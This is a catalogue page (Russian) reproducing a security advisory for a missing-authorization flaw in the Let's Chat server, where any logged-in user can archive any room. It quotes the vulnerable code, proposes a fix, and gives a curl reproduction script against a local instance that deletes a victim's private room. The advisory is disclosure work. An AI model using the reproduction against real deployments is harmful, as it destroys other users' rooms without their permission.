Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — Уведомление о безопасности: недостаточные меры контроля доступа позволяют несанкционированное удаление комнат (Let's Chat) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
Аутентификация и авторизацияАнализ уязвимостейАнализ КодаВеб-безопасностьОбучение и Образование
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

Уведомление о безопасности: недостаточные меры контроля доступа позволяют несанкционированное удаление комнат (Let's Chat)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
31 месяц назадЕщё не проверено

Уведомление о безопасности: недостаточный контроль доступа позволяет несанкционированно удалять комнаты (Let's Chat)

Присвоенный CVE ID: CVE-2026-66751

Краткое описание

DELETE /rooms/:room не выполняет никакой проверки авторизации, кроме требования входа в систему. Любая учётная запись может заархивировать любую комнату на сервере, включая приватные комнаты и комнаты с паролем, которые эта учётная запись не имеет права читать, в которые не может входить или которые не может изменять.

Архивация — это способ удаления комнат в Let's Chat. Комната исчезает из списка комнат, прямые запросы возвращают 404, отправка сообщений и загрузка файлов в неё отклоняются. В приложении нет программного пути, который обращал бы это действие вспять.

Затронутые версии

URL репозитория: https://github.com/sdelements/lets-chat

Уязвимость присутствует с 0.3.0 (коммит 5b5f46f, 2 января 2015, "Rooms are archived, instead of deleted") по 0.4.8, последний релиз. Исправленной версии не существует.

Приватные комнаты и комнаты с паролем появились в 0.4.0, поэтому сценарий, в котором атакующий уничтожает комнату, содержимое которой он не может видеть, применим начиная с 0.4.0. Само отсутствие проверки существует с 0.3.0.

Подтверждено на 0.4.8 (коммит 617207f) и на docker.io/sdelements/lets-chat:latest (0.4.7).

Классификация

CWE-862: отсутствие авторизации.

CVSS 4.0: базовый балл 5.3 (средний) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Модель угроз

Атакующему нужна одна обычная учётная запись пользователя и сетевой доступ к HTTP-порту. Ему не нужно владеть комнатой, состоять в ней, знать её пароль или иметь какую-либо повышенную роль. Самостоятельная регистрация включена по умолчанию (auth.local.enableRegistration в defaults.yml).

Выбор цели ничего не стоит. GET /rooms по замыслу показывает комнаты с паролем каждому пользователю, поэтому атакующий может прочитать полный список идентификаторов комнат и заархивировать их одну за другой.

Технические подробности

Маршрут требует входа в систему и находит комнату — и ничего больше. app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

Обработчик передаёт дальше только идентификатор комнаты. Он никогда не обращается к req.user. app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

Менеджер не принимает аргумент с пользователем, поэтому не может проверить владельца даже в принципе. app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

Соседний путь обновления проверяет владельца, из-за чего это выглядит как упущение, а не осознанное решение. app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

Клиентская часть согласуется с более строгой трактовкой. media/js/views/room.js:28-31 определяет, кто видит элемент управления редактированием, а кнопка «Архивировать комнату» находится внутри модального окна редактирования, которое открывает этот элемент:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

Для комнаты с паролем пользователь, не являющийся владельцем, никогда не видит эту кнопку. Ограничение существует только в браузере.

Воспроизведение

Требуется rooms.private: true (или LCB_ROOMS_PRIVATE=true), чтобы можно было создавать приватные комнаты. Отсутствие этой проверки касается любой комнаты независимо от этой настройки.

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

Воздействие

После запроса комната исчезает из GET /rooms для всех пользователей, GET /rooms/:id возвращает 404, а messages:create и files:create отклоняют её (app/core/messages.js:28-30, app/core/files.js:55-57). Ничто в app/ не устанавливает archived обратно в false, поэтому восстановление требует прямого доступа к базе данных.

Предлагаемое исправление

Передавайте вызывающего пользователя в менеджер и проверяйте владельца перед архивацией, как это уже делает update. В app/controllers/rooms.js:217:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

и в app/core/rooms.js:123, после проверки if (!room):

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
Скачать инструмент